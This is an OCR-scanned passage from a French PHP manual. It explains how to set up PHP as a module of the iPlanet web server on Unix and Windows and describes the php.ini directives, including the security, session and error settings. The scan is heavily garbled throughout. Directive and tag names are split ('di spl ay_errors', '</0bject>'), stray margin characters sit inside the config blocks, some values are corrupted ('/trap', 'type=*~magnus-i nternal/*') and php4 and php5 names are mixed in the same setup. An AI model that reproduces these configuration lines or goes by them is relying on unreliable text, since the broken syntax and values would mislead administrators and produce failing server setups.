Sauvegardez mime.types, puis passez a magnus.conf. Ajoutez les lignes suivantes a la fin de la 
section des inits, en debut de fichier : 

Init fn="load-modules" 

funcs="php5_ini t ,php5_close,php5_execute,php5_auth_trans" 
shlib="/php5/nsapi PHP5.dll" 

Init fn="php5_i nit" errorString="L' initial isation du PHP a echoue !" 
x Latelnit="yes" 

Le chemin utilise pour shlib varie en fonction du systeme d'exploitation. Pour Linux, ce sera 
quelque chose comme /opt/netscape/suitespot/bin/libphp5.so ou /usr/iplanet/servers/bin/libphp5 
.so. Donnez simplement le chemin qui pointe vers la librairie php 5, precedemment installee 
lors de la compilation. Une fois magnus.conf complete, sauvegardez-le, puis ouvrez obj.conf. En 
suivant le modele et l'aspect general du fichier, ajoutez-y le bloc de texte suivant (un nouvel 
objet) : 

</0bject> 

<0bject name="x-httpd-php"> 

ObjectType fn="force-type" type="magnus-i nternal /x-httpd-php" 
Service fn=php5_execute 
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</0bject> 

Ensuite, dans l'objet default, vous devrez ajouter la ligne suivante : 
Service fn="php5_execute" type="magnus-internal /x-httpd-php" 

et ce avant chaque ligne AddLog et apres chaque ligne obj ectType. Voici un exemple, pris pour 
une configuration sous Linux : 

<0bject name=defaul t> 5 
NameTrans fn="NSServl etNameTrans" name="servlet" «g 
NameTrans fn="pfx2di r" f rom="/servl et" ro 
di r="/usr/i pi anet/servers/docs/servlet" name="Servl etByExt" ^ 
NameTrans fn=pfx2dir from=/mc-i cons dir="/usr/iplanet/servers/ns-icons" 22. 
name="es-internal " 

NameTrans fn="pfx2dir" f rom="/manual " 

di r="/usr/i pi anet/servers/manual /https" name="es-i nternal " 

NameTrans fn=document-root root="$docroot" 

PathCheck fn=unix-uri-clean 

PathCheck fn="check-acl " acl ="defaul t" 

PathCheck fn=find-pathinfo 

PathCheck fn=f i nd-i ndex index-names="index. html , home. html " 
ObjectType fn=type-by-extension 

Service fn="php5_execute" type="magnus-internal /x-httpd-php" 

ObjectType fn=force-type type=text/plain 

Service fn="php5_execute" type="magnus-internal /x-httpd-php" 

Service type="magnus-i nternal /jsp" fn="NSServl etServi ce" 

Service method= (GET | HEAD) type=magnus-i nternal /imagemap fn=imagemap 

Service method= (GET j HEAD) type=magnus-i nternal /directory fn=i ndex-common 

Service method= (GET j HEAD | POST) type=*~magnus-i nternal/* fn=send-file 

Service fn="php4_execute" type="magnus-internal/x-htt 

AddLog fn=fl ex-log name="access" 

</0bject> 

Une fois le fichier obj. conf correctement renseigne, sauvegardez-le et relancez le serveur web 
afin qu'il prenne en compte les dernieres modifications (commande . /restart). Vous pouvez 
alors tester la bonne prise en compte de PHP avec une simple page placee a la racine de votre 
serveur web. 



Sous Windows 

reinstallation et la configuration du serveur web iPlanet sous Windows ne presentent pas de 
difficulte particuliere. Bien que nombreuses, les etapes necessaires ne sont en rien 
insurmontables. 



Installation du serveur web iPlanet 

Tout d'abord, telechargez directement la version Windows du serveur sur le site de Sun (wwws 
.sun.com/software/download/download/0104.html). Lancez le programme d'installation. La procedure 
vous est proposee en trois declinaisons : express, typique ou personnalisee. Si c'est la premiere 
fois que vous installez iPlanet sur votre machine, choisissez l'option typique, qui est largement 
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suffisante, et qui vous permettra meme de modifier certains parametres assez pratiques. Pre- 
mier point important, vous allez devoir choisir un dossier pour l'installation du serveur web. 
Conservez le chemin propose par le programme d'installation (evitez le dossier Program Files 
qui serait epineux a utiliser dans des fichiers de configuration). Donnez ensuite un nom d'uti- 
lisateur et un mot de passe, qui seront utilises pour l'interface d'administration web. Conservez 
precieusement ces informations, sans quoi vous seriez un peu gene pour gerer votre serveur. Le 
port d'administration (par defaut 8888) ainsi que le port web (80) n'ont pas a etre modifies, a 
moins que vous n'ayez une idee bien specifique. Etape suivante, specifiez et notez bien le dossier 
racine du site. Les dernieres etapes de preparation de l'installation concernent l'utilisation 
eventuelle d'un annuaire LDAP ou de Java. Lorsque vous aurez repondu a toutes ces questions, 
l'installation proprement dite pourra debuter. Une fois iPlanet correctement mis en place, vous 
pouvez tester son bon fonctionnement en rentrant l'adresse hltp://localhost/ dans un navigateur 
web de votre choix. 

Installer PHP 

Telechargez la derniere version de PHP pour Windows zippee sur le site officiel du groupe PHP 
(http://www.php.net), ou bien utilisez la version disponible sur le CD-ROM. Decompactez cette 
archive dans un dossier c:\php, ou dans tout autre dossier simple, facile a reprendre pour les 
editions de fichiers de configuration a venir. Copiez le fichier php4ts.dll ainsi decompacte dans 
votre dossier Windows (c:\WINNT). Toujours dans le dossier qui a servi pour le decompactage, 
trouvez le fichier php.ini-dist, et renommez-le enphp.ini. Le changement de nom effectue, editez 
ce meme fichier, soit avec votre editeur de texte prefere, soit avec la ligne de commande suivante 
dans une fenetre MSDos : 

edit php.ini 

Dans ce fichier, recherchez la ligne : 
extension_dir = ./ 

et renseignez-la avec l'emplacement sur votre systeme du dossier contenant les extensions PHP. 
Si vous avez decompacte PHP dans un repertoire c:\php, vous devez remplir la ligne ainsi : 

extension_di r= c:\php\extensions\ 

Sauvegardez le fichier, puis copiez-le a la racine de votre repertoire WINNT : 
copy php.ini c:\WINNT\ 

II vous faut maintenant creer une association de fichiers pour PHP. Dans une fenetre MSDos, 
rentrez les deux lignes de commande suivantes, en validant par la touche [Entree] a chaque fin 
de ligne : 

assoc .php=PHPScript 

ftype PHPScript=c:\php\php.exe %1 %* 

A noter que l'adresse donnee dans la seconde ligne est a modifier selon vos propres parametres. 

Vous pouvez passer maintenant a la configuration du serveur web iPlanet pour qu'il prenne en 
compte PHP. 
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Configurer PHP 

Tout d'abord, stoppez votre serveur (depuis l'interface web de configuration, dans la rubrique 
on I off). 

Commencez d'abord par editer le fichier mime. types pour y ajouter la ligne suivante : 

type=magnus-i nternal /x-httpd-php exts=php,php3,php4,phtml 

Sauvegardez mime. types, puis passez a obj.conf. Ajoutez les lignes suivantes a la fin de la section 

des inits, en debut de fichier : 3 

V) 
CD 

Init fn="l oad-modul es" cd 
funcs="php5_ini t ,php5_cl ose,php4_execute,php5_auth_trans" g 
shl i b="c:/php/sapi /php5nsapi .dl 1 " K. 
Init f n= " php5_i nit" errorString="L' ini tial i sation du PHP a echoue !" 
x Latelnit="yes" 



Le chemin utilise pour shlib varie en fonction de votre installation. Avec l'exemple cite plus 
haut, il faudrait donner ce chemin : c: Iphplsapilphp4nsapi.dll. En suivant le modele et l'aspect 
general du fichier, ajoutez-y le bloc de texte suivant (un nouvel objet) : 

</0bject> 

<0bject name="x-httpd-php"> 

ObjectType fn="force-type" type="magnus-i nternal /x-httpd-php" 

Service fn=php5_execute 

</0bject> 

Ensuite, dans l'objet default, vous devrez ajouter la ligne suivante : 
Service fn="php5_execute" type="magnus-internal /x-httpd-php" 

et ce avant chaque ligne AddLog et apres chaque ligne ob j ectType (pour un exemple de fichier 
de configuration, voir la partie Configuration sous Unix). 

Une fois ces fichiers edites et sauvegardes, vous pouvez relancer le serveur web et tester votre 
nouvelle configuration. 



Autres 




Installation sous les autres systemes d 'exploitation 

Installation sous HP-UX: 



INTERNET www.php.net/manual/fr/install.hpux.php 

Installation sous Solaris : 

www.php.net/manual/fr/install.solaris.php 

Installation sous Unix-OpenBSD : 

www.php.net/manual/fr/install.openbsd.php 

Tutoriel d 'installation pour PHP sous Windows NT : 

http://benoit.noss.free.fr/php/install-php4.html 
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2.2. Le fichier de configuration php.ini 

PHP se configure en deux fois. Dans un premier temps, lors de sa compilation, pour assurer le 
support de certaines bases de donnees, d'un serveur web sous la forme d'un module pour 
activer certaines fonctions, etc. ; et, dans un second temps, apres son installation, par 1'edition 
et le renseignement du fichier php.ini. 

Le fichier php.ini controle bon nombre des comportements de PHP. Pour que PHP puisse lire 
et comprendre ce fichier, il doit imperativement avoir pour nom php.ini. Au demarrage, PHP 
cherche ce fichier dans son repertoire de travail, dans le chemin designe par la variable 
d'environnement phprc puis, enfin, dans le chemin defini lors de la compilation. Sous 
Windows, le chemin correspond au repertoire Windows ; sous Linux, par defaut, il s'agit du 
repertoire /usr/local/lib. 

Si PHP a ete compile en module, le fichier php.ini ne sera lu qu'une seule fois, lors du lancement 
du serveur web. Si PHP fonctionne en CGI, php.ini sera lu a chaque utilisation de PHP. 

Si vous utilisez des constantes dans vos valeurs et que ces constantes appartiennent a une 
extension chargee dynamiquement (extension PHP ou Zend), vous ne pouvez utiliser ces 
constantes qu'apres la ligne de configuration qui charge cette extension. 

Les valeurs utilisees dans le fichier php.ini-dist correspondent aux valeurs par defaut de PHP. 
Cela veut dire que, si vous n'utilisez pas de php.ini ou que vous effacez les lignes qui suivent, les 
valeurs et parametres utilises par PHP seront identiques a ceux presentes dans php.ini-dist. 

Pour creer un fichier php.ini, utilisez le fichier php.ini-dist present dans votre repertoire PHP. 
Ce fichier contient un squelette de configuration, qu'il vous appartiendra d'adapter a votre 
systeme selon vos besoins. Notez qu'il existe egalement un fichier php.ini-recommended, que 
vous trouverez, lui aussi, a la racine de votre dossier PHP. Ce fichier est une recommandation 
de configuration pensee pour vous par les developpeurs de PHP. Comme le precise l'en-tete du 
fichier, cette configuration peut rendre PHP incompatible avec certaines applications. Elle 
rend egalement le developpement plus difficile et plus rigoureux. Une bonne solution consiste 
a se baser sur ce fichier, en passant en revue toutes les variables pour verifier si elles 
conviennent a votre environnement de travail. Vous ne modifierez ainsi que le strict necessaire, 
tout en conservant une configuration plus sure et plus performante que celle offerte par defaut 
par la simple mise en place du php.ini-dist. 

Dans cette partie, nous allons passer en revue toutes les options presentes dans le fichier 
php.ini-dist ; fichier qui, une fois renseigne, deviendra votre propre php.ini. 

La syntaxe du fichier php.ini est simple. Toute ligne commengant par un point-virgule ou toute 
chaine de caracteres contenue entre crochets ne sera pas interpreted par PHP. 

Les directives utilisent une syntaxe simple : 
directive = valeur 

Attention, les noms des directives sont sensibles a la casse : respectez done scrupuleusement 
l'utilisation des majuscules ou minuscules (EMMA est different de Emma). 

La valeur peut consister en une chaine de caracteres, un nombre, une constante PHP (ex. : 

E_ALL OU M_Pl), une des constantes INI (On, Off, True, False, Yes, No et None), une 

expression (ex. : e_all & ~e_notice), ou, enfin, une chaine de caracteres entre guillemets 

/II Tl\ 

( emma ). 
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Dans le fichier php.ini, les expressions sont limitees aux operateurs binaires et aux parentheses : 

binaire OR 
& binaire AND 

binaire NOT 
! booleen NOT 

Les operateurs booleens peuvent etre actives en utilisant les valeurs l, on, True ou Yes. Pour 
les desactiver, utilisez les valeurs o, off, False ou No. 

Une chaine vide peut etre indiquee soit en n'ecrivant rien apres le =, soit en utilisant le 

mot-cle none. 

Attention, dans l'expression toto = "none", la chaine de caracteres ne sera pas vide, mais 
contiendra le mot none ; une chaine vide serait toto = none. 

Options PHP de base 
Balises 

short_open_tag = On 

permet d'utiliser le tag court d'ouverture de script PHP < ? (plutot que < ?php ou <script>). 
asp_tags = Off 

permet d'utiliser les tags ASP <% %>. 

Serveur 

engine = On 

autorise le moteur de langage de script PHP sous Apache. 
zend.zel_compati bi 1 i tyjnode = Off 

active le module de compatibilite avec le Zend Engine 1 (utilise dans PHP4.x). 
expose_php = On 

permet d'indiquer que PHP est installe sur le serveur, et que, par consequent, on peut l'utiliser. 
Cela ne constitue pas a proprement parler un probleme de securite, mais cela signale tout de 
meme aux utilisateurs que PHP est installe sur le serveur. 

y2k_compl iance = Off 

Compatibilite an 2000. II est deconseille d'activer cette option, car elle pourrait poser des 
problemes avec des navigateurs non compatibles an 2000. 
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Limites des ressources 

max_executi on_time = 30 

Indiquez le temps maximum d'execution des scripts, en secondes (ici : 30 secondes). 
memory_l imi t = 8M 

Indiquez la quantite maximale de ressource memoire utilisable par les scripts (ici : 8 Mb). 



Securite 

Mode securise 

safe_mode = Off 

Activation ou deactivation du mode securise. 
safe_mode_gid = Off 

A l'ouverture des fichiers, le mode securise utilise, par defaut, des verifications comparatives 
des UID. Pour passer a des comparaisons sur le GID, activez cette commande. 

safe_mode_i ncl ude_di r = 

Si saf e_mode est active, les verifications des UID/GID sont ignorees lorsqu'un fichier contient 
des inclusions de fichiers provenant de ce repertoire ou de ses sous-repertoires. Le chemin 
concerne doit etre present dans le indude_path, ou alors c'est le chemin complet qui doit etre 
donne pour l'inclusion. 

safe_mode_exec_di r = 

Si le mode securise est active, seuls les executables qui se situent dans le repertoire renseigne ici 
seront autorises a 1'execution via la famille des fonctions executables (comme exec ( ) ). 

open_basedi r = 

Indiquez le chemin du repertoire sur lequel vous souhaitez limiter les operations sur les 
fichiers. Ceci sera valable pour ce repertoire et ses sous-repertoires. 

safe_mode_al 1 owed_env_vars = PHP_ 

La configuration de certaines variables d'environnement peut presenter des failles de securite. 
Cette directive comprend une liste de prefixes separes par des virgules. En mode securise, 
1'utilisateur peut uniquement modifier les variables d'environnement dont le nom commence 
par les prefixes indiques ici. Par defaut, les utilisateurs ne pourront configurer que les variables 
d'environnement commencant par php_ (ex. : php_foo=bar). Si cette directive est vide, 
1'utilisateur pourra modifier toutes les variables d'environnement ! 
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Autres 

safe_mode_protected_env_vars = LD_LIBRARY_PATH 

Indiquez, en les separant par une virgule, les variables d'environnement que l'utilisateur final 
ne pourra pas modifier en utilisant putenv ( ) . Ces variables seront protegees, meme si la 
directive saf e_mode_al 1 owed_env_vars est configuree pour que Ton puisse les changer. 

disable_functions = 

Indiquez ici, separees par des virgules, les fonctions que vous souhaitez interdire pour des 
raisons de securite. L'activation ou non du mode securise n'a aucune influence sur cette 
directive. 

enable_dl = On 

Activation ou non de la fonction dl ( ) qui permet de charger des DLL a la volee. Cette fonction 
ne marche pas correctement sur des serveurs multi-taches (multithread) comme, par exemple, 
IIS ou Zeus, et est automatiquement desactivee sur ces derniers. 

cgi .force_redirect = 1 

cgi . f orce_redirect est necessaire pour apporter de la securite si Ton fait tourner PHP en 
tant que CGI sous la plupart des serveurs web. Si vous laissez cette directive vide, PHP 
l'interpretera comme activee par defaut. II est tout a fait deconseille de desactiver cette 
directive (hormis sous IIS, pour lequel il vaut mieux l'activer). 

cgi . redi rect_status_env = 

Si cgi . f orce_redirect est active, et que vous ne vous trouvez pas sous un serveur Apache ou 
Netscape (iPlanet), vous devrez determiner un nom de variable d'environnement que PHP 
interrogera afin de savoir s'il peut ou non continuer 1'execution. Ayez une idee precise de ce 
que vous souhaitez faire avant de determiner tout cela, la configuration de cette variable 
pouvant provoquer des problemes de securite ! 

cgi .fix_pathinfo=0 

Si cgi . f ix_pathinf o est active , PHP CGI corrigera son chemin pour se conformer aux 
specifications. Si vous n'activez pas ce parametre (en le laissant a 0), PHP se comportera 
comme dans les versions anterieures. II est conseille d'utiliser script filename plutot que 

PATH TRANSLATION. 

enable dl = On 



Gestion des erreurs et recuperation des messages d'erreur 

errorjeporting est un champ de bits. Vous pouvez determiner quel type et quel niveau de 
rapport d'erreur vous souhaitez recuperer. 



E ALL 
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Toutes les erreurs et avertissements. 
E_ERR0R 

Erreurs fatales du programme. 
E_WARNING 

Avertissements du programme (qui ne sont pas des erreurs fatales). 
E_PARSE 

Erreurs d'analyse lexicale a la compilation. 
E_N0TICE 

Indications du programme. Ce sont des avertissements qui resultent generalement d'un bug 
dans votre code, mais il se peut que ce soit intentionnel. C'est le cas, par exemple, si Ton utilise 
une variable non initialisee en considerant qu'elle sera automatiquement initialisee par une 
chaine vide. 

E_STRICT 

Permet a PHP de vous indiquer des modifications dans votre code qui assureraient une 
meilleure inter-operabilite et une meilleure compatibility ascendante. 

E_C0RE_ERROR 

Erreurs fatales survenant lors du demarrage initial de PHP. 
E_CORE_WARNING 

Avertissements (qui ne sont pas des erreurs fatales) survenant lors du demarrage initial de PHP. 

E_C0MPILE_ERROR 

Erreur fatale a la compilation. 

E_COMPILE_WARNING 

Avertissement d'erreur a la compilation (qui ne sont pas des erreurs fatales). 
E_USER_ERROR 

Message d'erreur provoque par l'utilisateur. 
E_USER_WARNING 

Message d'avertissement provoque par l'utilisateur. 
E_USER_NOTICE 

Message d'indication provoque par l'utilisateur. 
Exemples : 

error reporting = E ALL & -E NOTICE & -E STRICT 
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Montrer toutes les erreurs, sauf les messages d'indication et les messages de qualite de code. 
error_reporting = E_C0MPI LE_ERR0R | E_ERR0R | E_C0RE_ERR0R 
Ne montrer que les erreurs. 
di spl ay_errors = On 

Active l'affichage des erreurs. Pour un site de production, il est conseille de desactiver cette ro 
fonction et d'utiliser, a sa place, error logging. Si vous gardez display_errors activee, vous -o 
risquez de reveler des informations de securite aux utilisateurs finals comme, par exemple, des 55' 
chemins d'acces de votre serveur web, le schema de votre base de donnees, ou d'autres m 
informations encore. ^ 

S3 

di spl ay_startup_errors = Off =" 

Meme si display_errors est active, les erreurs qui se produisent lors du demarrage de PHP 
ne sont pas affichees. II est fortement conseille de ne pas activer cette fonction, sauf pour du 
debogage. 

log_errors = Off 

Permet de stocker les erreurs dans un fichier de logs. S'il s'agit d'un site de production, il est 
fortement conseille d'utiliser cette directive au lieu de error_display. 

track_errors = Off 

Archive le dernier message d'erreur ou d'avertissement dans $php_errormsg. 
html_errors = Off 

Interdit l'inclusion de tags HTML dans les messages d'erreur. N'utilisez pas cette fonction sur 
des serveurs de production. 

error_prepend_string = "<font color=ff0000>" 

Chaine a integrer avant un message d'erreur. 

error_append_stn'ng = "</font>" 

Chaine a integrer apres un message d'erreur. 

error_log = filename 

Placer les traces d'erreur dans un fichier particulier. Remplacez filename par le nom du fichier 
que vous voulez utiliser. 

error_log = syslog 

Placer les traces d'erreur dans syslog (Event Log sur Windows NT, non valide sous 
Windows 95). 

def i ne_sysl og_vari abl es = Off 

Cette directive active ou desactive la definition de diverses variables syslog comme, par 
exemple, les variables $log_pid, $log_cron, etc. II est conseille de desactiver cette directive 
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dans un souci de performance. Vous pourrez definir ces variables dans le programme en faisant 
appel a la fonction def i ne_sysl og_vari abl es () . 

warn_pl us_overl oadi ng = Off 

Prevenir si l'operateur + est utilise dans les chaines. 

Gestion des fichiers 
Include 

include_path = 

Indique quels repertoires doivent etre explores lorsqu'un fichier est inclus. 

Sous UNIX, il devra etre donne de cette fagon : inciude_path = " . : /php/includes" et, 
sous Windows, de la facon suivante : inciude_path = " c : \php\ includes 11 . Vous pouvez en 
specifier plusieurs, en les separant par un deux points ( : ) sous Linux, et par un point-vigule ( ; ) 

SOUS Windows, COmme ceci : include_path = "c : \php\ includes; c : \php\emma 
\includes " . 

Ouverture distante de fichiers 

al 1 ow_url_fopen = On 

Active ou desactive l'autorisation de traitement des URL (comme http : / / ou ftp : / /) en tant 
que fichiers. 

from=" john@doe.com" 

Definit le mot de passe anonyme du FTP. Ici, une adresse e-mail sera demandee. 

Publication de fichiers 

file_uploads = On 

Autorise (ou non) l'upload de fichiers HTTP, 
upl oad_tmp_di r = 

Indiquez, si besoin, le repertoire temporaire ou vous souhaitez archiver les fichiers HTTP 
publies (uploades). Si vous ne remplissez pas ce champ, ils seront places dans le repertoire 
temporaire par defaut du systeme. 

upload_max_filesize = 2M 

Taille maximale autorisee des fichiers en upload. 
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Gestion des donnees 

Depuis PHP 4.0.3, track_vars est toujours active. 
arg_separator. output = "&" 

Le separateur des arguments utilise dans les URL generees par PHP est, par defaut, V. 
arg_separator. i nput = 

Liste des caracteres que doit detecter PHP pour separer les arguments dans les URL (par 
defaut les caracteres '&' et ' '). Chaque caractere est considere, dans cette directive, comme un 
separateur. 

variables_order = "EGPCS" 

Cette directive decrit l'ordre dans lequel PHP enregistre les variables passees par les methodes 
get, post ou cookie, les variables d'environnement et les variables incluses (respectivement 
G, P, C, E et S). Cet enregistrement prend en compte les valeurs de gauche a droite, les 
nouvelles valeurs prenant le pas sur les plus anciennes. 

regi ster_gl obal s = Off 

Cette directive vous permet de choisir si vous enregistrez les variables EGPCS comme des 
variables globales ou pas. Par mesure de securite, il est preferable de laisser ce parametre a off. 

regi ster_l ong_arrays = On 

Cette directive vous permet de continuer a utiliser la methode http_get_var . Si vous 
n'utilisez pas cette methode (en preferant la methode $_get [ "Varaible" ] ), il est preferable 
de ne pas activer la directive pour optimiser les performances. 

regi ster_argc_argv = On 

Cette directive definit si PHP declare les variables argv et argc (qui pourraient contenir les 
informations get). Si vous n'utilisez pas ces variables, vous pouvez desactiver cette directive 
pour ameliorer les performances. 

post_max_si ze = 8M 

Taille maximale des donnees post que PHP acceptera. 



Les magic quotes 

Les magic quotes sont des directives qui vous permettent d'echapper les caracteres qui 
pourraient provoquer des erreurs dans votre code. Par exemple, une apostrophe, un slash, etc. 
dans une variable issue d'un formulaire qui pourraient etre interpreted comme une fin de 
chaine ou autre caractere interprete par PHP : 

<form action="recupere.php"> 

<input type="hidden" name="exempl e" value="L'aventure c'est 1'aventure !"> 
<input type="submi t"> 

</form> 
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Puis, a l'aide de ce script : 
<?php 

echo $_GET["exemple"] ; 

?> 

vous recuperez les donnees contenues dans recupere.php . Si les magic quotes sont activees, vous 
obtenez ceci : 

L\'aventure c\'est l\'aventure ! 

Sans les magic quotes, nous avons ceci : 

<?php 

echo $_GET["exempl e"] ; 

?> 

L'aventure c'est I'aventure ! 
magic_quotes_gpc = On 

Active les magic quotes pour les donnees entrantes get, post et cookie, 
magi c_quotes_runtime = Off 

Desactive les magic quotes pour les donnees generees par le programme (ex. : donnees SQL, 
donnees provenant des fonctions exec ( ) , etc.). 

magic_quotes_sybase = Off 

Si cette directive est activee, des apostrophes seront utilisees en lieu et place des "backslashes" 
pour les magic quotes (style Sybase, c'est-a-dire • ' au lieu de \'). 



Sessions 

session. save_handler = files 

II sert a redefinir la maniere dont seront gerees les sessions. Par defaut, les sessions sont 
enregistrees dans des fichiers. C'est grace a ces fichiers que PHP retrouvera les donnees d'une 
session. Si vous souhaitez une gestion personnalisee des sessions indiquez alors "user" (voir 
chapitre sur les sessions). 

session. save_path = /trap 

Repertoire par defaut ou stocker les sessions. II vaut mieux eviter que ce repertoire soit lisible 
par tous, auquel cas la securite du site pourrait etre compromise. Quelqu'un pourrait usurper 
l'identificateur d'un autre. Par defaut, il vaut /tmp. II faut done imperativement modifier ce 
parametre pour pouvoir faire fonctionner les cookies sous Windows. 

session.use_cookies = 1 

Permet d'indiquer si le gestionnaire de sessions doit utiliser un cookie chez le client pour 
memoriser l'identifiant de session. Par defaut l'utilisation de cookies est activee (valeur a 1). 
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session. name = PHPSESSID 

Nom de l'identifiant de la session. II ne contient que des caracteres alphanumeriques. 
session. auto_start = 

Indique si une session doit automatiquement etre lancee lors de la premiere requete. Cette 
option est desactivee par defaut (valeur a 0). 

session. cookie_l ifetime = 

Permet de definir la duree de vie du cookie de session (en secondes). La valeur (par defaut) 
signifie que le cookie doit etre efface a la fermeture du navigateur. 

session.cookie_path = / 

Permet de definir le chemin a utiliser par les cookies. Par defaut, il est mis a /. 
session.cookie_domain = 

Permet de definir le domaine sur lequel est restreint le cookie, 
session. serial ize_handler = php 

Permet de definir le gestionnaire de la serialisation/deserialisation. Les formats PHP et WDDX 
sont supportes, WDDX n'etant disponible que si PHP a ete compile avec WDDX. 

session. gc_probabi 1 ity = 1 

Permet de definir la probabilite d'execution de gc (garbage collector) a chaque requete. gc est 
le dispositif permettant de supprimer les sessions qui ne sont plus valides. Generalement, les 
sessions sont enregistrees sous forme de fichiers, et gc se charge de supprimer les fichiers 
perimes. Par defaut, gc est requis a chaque appel (la valeur vaut 1). 

session. gcjnaxl ifetime = 1440 

Apres ce laps de temps (en secondes), une donnee sera considered comme perimee et pouvant 
etre supprimee par gc. 

session. referer_check = 

Permet de ne valider une session que si l'utilisateur provient d'un site en particulier 
(typiquement le votre). II suffit de renseigner tout ou partie du nom de domaine. Si cette chaine 
de caracteres est contenue dans le http_referer fourni par le navigateur, ou si cette valeur 
retournee est vide, alors la session est validee. Par defaut, cette chaine de caracteres est vide. 

session. entropy_file = 

Permet de definir le chemin vers un fichier externe qui sera utilise pour generer (de facpn 
pseudo-aleatoire) un identifiant de session. Dans le monde UNIX, il est possible de definir 

/dev/random OU encore /dev/urandom. 

session. entropy_l ength = 

Permet de determiner le nombre d'octets lus dans le fichier declare par session 
. entropy_f ile. Par defaut, celui-ci etant desactive, il vaut 0. 
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session. cache_l imiter = nocache 

Permet de definir 1'en-tete de controle du cache qui doit etre envoye avec chaque script genere 
a partir de variables de sessions. II peut etre defini comme none, nocache, private, 
private_no_exprire OU public. 

session. cache_expi re = 180 

Permet de definir l'en-tete definissant la duree de validite (en minutes) d'une page generee a 
partir de variables de sessions. Cette option n'a aucune influence si le controle du cache a ete 

mis a nocache. 

session.use_trans_sid = 1 

Permet d'indiquer si l'identifiant de session doit etre transmis de maniere transparente de page 
en page (URL rewriting). (Pour les versions PHP<=4.1.1, cette option est utilisable 
uniquement si PHP a ete compile avec l'option -enable-trans-sid) . Par defaut, cette option est 
activee. 

session. hash_f unction = 

Definit le format de hash, o pour MD5 (128 bits) ou l pour SHA-1 (160 bits).. 

url_rewriter.tags = "a=href ,area=href ,f rame=src, input =src,form=fakeen try" 

Permet de definir quelles URL seront reecrites afin de transmettre l'identifiant de session, si 
l'option session.use Jrans _sid est activee. Par defaut, ce sont les tags a=href, area=href, 
frame=src, input=src, f orm=f akeentry. 

Generation du document 
Cache et compression 

output_bufferi ng = Off 

La mise en tampon (ou memoire cache) vous permet de n'envoyer le document genere qu'une 
fois le script termine. Cela permet notamment d'envoyer des en-tetes (instructions de 
manipulation des sessions et des cookies y compris), meme apres avoir commence a generer la 
page. Mais, en contrepartie, cela ralentit la couche de sortie de PHP. Si vous voulez limiter le 
tampon a une certaine taille, vous pouvez specifier une taille en octets a la place du On (ex. : 

output_buf f ering=409 6). 

output_handl er = 

Cette option permet d'appliquer une fonction (typiquement de compression) sur le document 
genere avant de l'envoyer au client. Par exemple, si vous configurez output_handler vers 
ob_gzhanier, la sortie sera compressee pour les navigateurs qui supportent Gzip. Si vous 
entrez un nom de fonction pour output_handler, cela activera automatiquement la mise en 
cache des sorties. 

zl ib.output_compression = Off 
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Cette directive permet la compression des sorties a l'aide de la bibliotheque ziib. Les valeurs 
que vous pouvez indiquer pour cette commande peuvent etre on, of f ou une taille specif ique 
de tampon a utiliser pour la compression (la taille par defaut est 4 Kb). Attention : 
output_handler doit etre vide si cette directive est activee. 

i mpl i ci t_f 1 ush = Off 

Implicit flush demande a PHP de vider les tampons de sortie des qu'un element du document 
est genere. Ceci est equivalent a l'appel de la fonction flush () apres chaque commande 
echo ( ) ou print ( ) et apres chaque bloc HTML. Si vous activez cette fonction, vous reduirez 
vos performances. Cette option est conseillee dans des objectifs de debogage. 

Elements par defaut 

auto_prepend_fi 1 e = 

Pour ajouter automatiquement un fichier avant un document PHP. 
auto_append_f i 1 e = 

Pour ajouter automatiquement un fichier apres un document PHP. 

defaul tjnimetype = "text/html" 
defaul t_charset = "iso-8859-1" 

Specifie le type du document et l'encodage. Sachant que depuis PHP 4.0b4, PHP envoie par 
defaut un en-tete precisant l'encodage. Si vous ne voulez pas le preciser, vous devrez, ici, mettre 
une chaine vide. Par defaut, s'il n'est pas precise ici, le type du document est text /html. 

Gestion de l'affichage 
Nombres decimaux 

precision = 12 

Indiquez le nombre de decimales apres la virgule que vous souhaitez afficher. 

Source 

Couleurs pour la coloration syntaxique de votre code. Indiquez les codes couleurs qui vous 
conviennent : 

highlight. string = ICC0000 

pour une chaine de caracteres ; 
highlight. comment = #FF9900 

pour un commentaire ; 

highlight. keyword = #006600 
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pour un mot-cle ; 
highlight.bg = #FFFFFF 

pour le fond ; 

highlight. default = #0000CC 
par defaut ; 

highlight.html = #000000 
pour le html. 



Extensions dynamiques 

extension_dir = ./ 

Indiquez le chemin du repertoire dans lequel se trouvent les extensions (modules) chargeables. 

Si vous souhaitez qu'une extension soit chargee automatiquement, utilisez la syntaxe suivante : 

extension=modul ename.extensi on 

Par exemple, pour Windows : 

extension=php_gd.dl 1 

ou, sous UNIX : 

extension=php_gd.so 

Notez que vous ne devez indiquer que le nom du module, et non pas les informations 
concernant le chemin du repertoire (ce dernier doit obligatoirement etre celui specifie par 

extension_dir). 

Configuration des extensions 
BcMath 

bcmath. scale = 

Precision avec laquelle BcMath doit travailler (nombre de chiffres apres la virgule souhaites). 

Bases de donnees 

sql .safejnode = Off 

Active ou non le mode securise pour les bases de donnees. 

II existe de nombreux autres parametres pour les bases de donnees. Ceux-ci seront evoques 
dans les chapitres correspondants. 
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Sockets 

sockets. use_system_read = On 

Utilise la fonction systeme read ( ) au lieu de la fonction programme php_read ( ) . 



Divers 
Browscap 

browscap = extra/browscap.ini 

Chemin vers le fichier browscap.ini contenant les informations qui permettent de deduire les 
caracteristiques des navigateurs d'apres leur http_user_agent. 



2.3. Les editeurs et debogueurs PHP 

Dans le monde de la programmation, les editeurs de texte font office de religions. On en utilise 
un comme on choisit une eglise. Comme les religions, les editeurs connaissent leurs guerres. 
L'une des plus celebres oppose les partisans de Vi aux zelateurs d'Emacs. Tout a ete dit : 
"Emacs rend beau", "Vi fait repousser les cheveux", etc. En cherchant bien, on peut meme 
trouver sur le Web un memo sur les differents editeurs de texte, redige pour une universite 
canadienne, commengant par cette citation : 

"Papa, pourquoi nous cachons-nous de la police ? 

- lis utilisent Emacs, fils, et nous utilisons Vi." 

Les adeptes d'un editeur en particulier ressentent, generalement, le besoin de prouver que le 
leur est le meilleur, le plus beau, le plus complet. Cela entraine immanquablement de folles 
discussions fort peu constructives, mais folkloriques, voire divertissantes. Mais le debutant en 
quete de conseils ne s'y retrouve pas pour autant. 

On peut tout de meme regrouper les editeurs en differentes grandes families, pour ensuite 
comparer leurs avantages et inconvenients respectifs. II n'est pas opportun de comparer Emacs 
a Dreamweaver MX. En revanche, mettre face a face PHPEdit et Komodo presente un interet. 
Sur le CD-ROM, vous trouverez un tableau comparatif des differents editeurs ainsi que 
quelques fiches descriptives. 

Les gouts et attentes de chacun interviennent beaucoup dans le choix d'un editeur. Le contexte 
